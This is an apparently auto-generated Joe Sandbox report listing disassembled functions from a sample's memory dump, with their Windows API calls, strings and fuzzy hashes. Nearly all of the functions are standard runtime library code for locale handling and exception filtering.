Instruction Fuzzy Hash: 8D711675600206AAEF24BB75DC4ABAA7FACFF85740F14442AF506D7181EB70ED40D7A4

Function 0059C814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0059CB32,00000002,00000000,?,?,?,0059CB32,?,00000000), ref: 0059C8AD
GetLocaleInfoW.KERNEL32(?,20001004,0059CB32,00000002,00000000,?,?,?,0059CB32,?,00000000), ref: 0059C8D6
GetACP.KERNEL32(?,?,0059CB32,?,00000000), ref: 0059C8EB

Strings

OCP, xrefs: 0059C868
ACP, xrefs: 0059C832

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: a8da8fec04864429f7907da641ae7c5058954ce56277fc84f3115b239a9b9b64
Instruction ID: b5611e57fa5c8f1d4c3b55a21da61d77e43827e6c6b85341ae547871d7fbbf76
Opcode Fuzzy Hash: a8da8fec04864429f7907da641ae7c5058954ce56277fc84f3115b239a9b9b64
Instruction Fuzzy Hash: 4D219532A00205EADF349F65C905AA77FAAFF54F54B568874E90ADB101EB32DE41D390

Function 0058FEF0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Strings

GY, xrefs: 0058FF0B, 0059008E, 005902B7, 00590250, 005900DD
GY, xrefs: 00590233, 00590211

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID: GY$GY
API String ID: 0-1263704509
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 939194c19d393dd1d69d73e7fb3e36576ae46d40cd97b2fdd60d7d8754e71220
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 26F15075E002199FDF14CFA8C884AADBBB1FF89314F159669E919A7381D730AE01CB90

Function 00593C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00593D1F

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 7d27709c8efdf072587d40007e31bd6bc29c02c75df4b904873092d9d06ea7a1
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: 81B11572E04256DFDF158F68C891BEEBFB9FF55350F14816AE805AB241D2389E05CBA0

Function 00587922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0058792E
IsDebuggerPresent.KERNEL32 ref: 005879FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00587A13
UnhandledExceptionFilter.KERNEL32(?), ref: 00587A1D

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5757957c164c9c06d2d7ba881c5fa31d0e0481de2f41fa786cfdcae3148e9bc0
Instruction ID: 85685acc359e8219f74d78ae21db723b607cf906d07d6b1a33387d28572bac3f
Opcode Fuzzy Hash: 5757957c164c9c06d2d7ba881c5fa31d0e0481de2f41fa786cfdcae3148e9bc0
Instruction Fuzzy Hash: AB31F775D0521D9BDB20EFA4D9497CDBBB8BF08304F1041EAE80DAB250EB709B858F45

Function 0059C498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0059C4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0059C536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0059C5FC

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: fb758a88a49ac646124dec2f1e4a6f8dbd2c5140d532fa79bee236c6a01a5431
Instruction ID: 0d8a7fe0a9106ac8d588bc8e4fb2b5a0dbe0ecf22ee4a4520eedd321e47ec4e1
Opcode Fuzzy Hash: fb758a88a49ac646124dec2f1e4a6f8dbd2c5140d532fa79bee236c6a01a5431
Instruction Fuzzy Hash: 1F619C729502179BDF28DF28CC86BBA7FA8FF45310F1041BAE905C6585EB34EA85CB50

Function 0058DA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0058DB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0058DB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0058DB82

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: aedf9d5a9b4060fc2a04e2b838e50e78885252b7c77956ca1c203abbaed16ecc
Instruction ID: bf8978fa75a5384555a25707ef2a472011781a222dc498d1b882d8b432974bd7
Opcode Fuzzy Hash: aedf9d5a9b4060fc2a04e2b838e50e78885252b7c77956ca1c203abbaed16ecc
Instruction Fuzzy Hash: BD31E77490121DABCB21EF24DC89B8DBBB8BF58310F5041DAE81CA7290EB309F858F54

Function 0059622B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005923AE,?,20001004,00000000,00000002,?,?,005919B0), ref: 0059625F

Strings

R[X, xrefs: 0059624A

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: R[X
API String ID: 2299586839-2894495381
Opcode ID: b58d16014956a69a22f3cd179eb1be60140fc95230edbe2981de065d9a94e79b
Instruction ID: 7f87c33ef7861a5c67e16fc5392114746efdb4059260b3f1ef31a76e9611d999
Opcode Fuzzy Hash: b58d16014956a69a22f3cd179eb1be60140fc95230edbe2981de065d9a94e79b
Instruction Fuzzy Hash: 52E04F36500228BBCF122F60DC0CAAE7F2AFF85760F108411FD0566121DB728E29AB91

Function 0059572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00595727,?,?,00000008,?,?,005A15F5,00000000), ref: 00595959

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d4395842a8b277f5d5f86a46f009c17656693e25d68602472293d2f7fcb448d9
Instruction ID: b84587c084ed77c0df6fa6f1df44f9dd0c4e25fe075665c7be55715f2820ee32
Opcode Fuzzy Hash: d4395842a8b277f5d5f86a46f009c17656693e25d68602472293d2f7fcb448d9
Instruction Fuzzy Hash: DBB13E31610A09DFDB16CF28C486B657FE0FF45365F298658E899CF2A1D335E9A2CB40

Function 0058729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 005872B2

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 51ce9e6c6f4e7a37a66f12343319053cb3ae3f578b8f5445d7fa2192de79c96c
Instruction ID: d19d0eddea69c84311ec517642f781202e7c8a80ab552f1f664b73ce74aa8633
Opcode Fuzzy Hash: 51ce9e6c6f4e7a37a66f12343319053cb3ae3f578b8f5445d7fa2192de79c96c
Instruction Fuzzy Hash: 80A1A071905209CFDB18DF64D8867A9BBF0FB59310F24852AD81AE77A0E334D845DFA0

Function 00599ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d17ae8825e1ceba285c14f17fa2e2dee44950e051cfd19471189c9f57d09e640
Instruction ID: 8c75b61f229dd9225ebec11763c50abca532c8e8d095b4e42cf7be92716be4da
Opcode Fuzzy Hash: d17ae8825e1ceba285c14f17fa2e2dee44950e051cfd19471189c9f57d09e640
Instruction Fuzzy Hash: 8731C872904219AFCF20EFADDC89EABBB7DFB84314F14415CF90597144E630AE408B50

Function 0058CAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0058CC80

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 6461556d6105e6a0e3049bd3edc2210a969b84347be700247f733429e94d2d66
Instruction ID: 4ed54d7ed9507b3dcb2f265de8f0bbab6b8a92ed40ff6d2161a574b2e2b4c135
Opcode Fuzzy Hash: 6461556d6105e6a0e3049bd3edc2210a969b84347be700247f733429e94d2d66
Instruction Fuzzy Hash: F3C1CF70600A4A8FCB29EF28C485A7ABFF5BF45311F544A69DC56BB291C730AC45CBB1

Function 0059C6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0059C73F

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6681fec62c990b380e1cb0b3491c68a74709b3e54bd0a2bea7a1ed148451e965
Instruction ID: 559d06216d3d49ee44bdb4c81446a55170c8b4585464dcae3275ed86628008e4
Opcode Fuzzy Hash: 6681fec62c990b380e1cb0b3491c68a74709b3e54bd0a2bea7a1ed148451e965
Instruction Fuzzy Hash: 94217F72611206ABEF28AB65DC46E7A7FACFF45310B10006EF905D6241EB34AD458B50

Function 0059C372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

EnumSystemLocalesW.KERNEL32(0059C498,00000001,00000000,?,-00000050,?,0059CAC9,00000000,?,?,?,00000055,?), ref: 0059C3E4

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: dd669b28aba0ce699cbf9c07c45e1bf9e7f46fea96bdcb2970a0127f75b81bd6
Instruction ID: 562d52f6dfc3b754615d4851f18168622bb6699791666641c1ee4a507fadfef4
Opcode Fuzzy Hash: dd669b28aba0ce699cbf9c07c45e1bf9e7f46fea96bdcb2970a0127f75b81bd6
Instruction Fuzzy Hash: 2C11E5362007055FDF189F39D8A55BABFA1FF84769B14882CE94B87B40D371A942CB40

Function 0059C91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0059C6B4,00000000,00000000,?), ref: 0059C946

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1f45f3a87179816e48808de10757893bf618d8a2829dba053452236f5d084742
Instruction ID: 8b56cbb977cb58c1d1304ce89192e91e1d42cf0cdcfd477d3d90245be771d396
Opcode Fuzzy Hash: 1f45f3a87179816e48808de10757893bf618d8a2829dba053452236f5d084742
Instruction Fuzzy Hash: 3CF0A933600116BBDF249B658809BBA7F58FB40754F154428ED46A3180DA74FE41C590

Function 0059C40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

EnumSystemLocalesW.KERNEL32(0059C6EB,00000001,?,?,-00000050,?,0059CA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0059C457

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e788ef0cae0bd233195d1cd6e8fe00c32b06c403741c43f37a7cecedfa3500cd
Instruction ID: f8a6878da4c8d7bf3fa8b7cd25b784dd84a7604e2b1975fa900e737d9e2c5bfb
Opcode Fuzzy Hash: e788ef0cae0bd233195d1cd6e8fe00c32b06c403741c43f37a7cecedfa3500cd
Instruction Fuzzy Hash: D0F022323003045FDF145F79DC95A7A7F94FB81768F04802CF90A8B690C2719C02C600

Function 00595D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0058DDC1: EnterCriticalSection.KERNEL32(?,?,00594B89,?,005AC2E0,00000008,00594D4D,?,0058C446,?), ref: 0058DDD0

EnumSystemLocalesW.KERNEL32(00595D72,00000001,005AC3A0,0000000C,00596127,00000000), ref: 00595DB7

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 3430ba8842bee52dc5871fb772abfac2f0231eb4f4e79224b2bd1ce30dda01f5
Instruction ID: 27cc01cd8d18fb36a82761a48788b93c6eba1317bb04a76686f3838066b25bf6
Opcode Fuzzy Hash: 3430ba8842bee52dc5871fb772abfac2f0231eb4f4e79224b2bd1ce30dda01f5
Instruction Fuzzy Hash: 73F03C72A00205DFDB00EF98E84AB9D7BF0FB45721F20401AF511DB2A0D7755A54DB90

Function 0059C327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

EnumSystemLocalesW.KERNEL32(0059C280,00000001,?,?,?,0059CAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0059C35E

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 12069729517c4a05ebbcc27dd164d15676d096935bb9a7f80652a304ec01d583
Instruction ID: 219ea05326efd4ffcc58429fab459746125911ddbae1bc8c3dea63ec346383ac
Opcode Fuzzy Hash: 12069729517c4a05ebbcc27dd164d15676d096935bb9a7f80652a304ec01d583
Instruction Fuzzy Hash: 02F0553A30020557CF04AF39C809A6ABF94FFC1B60B064058EA098B290C2319846C790

Function 00587AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,00586DC9), ref: 00587AB4

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
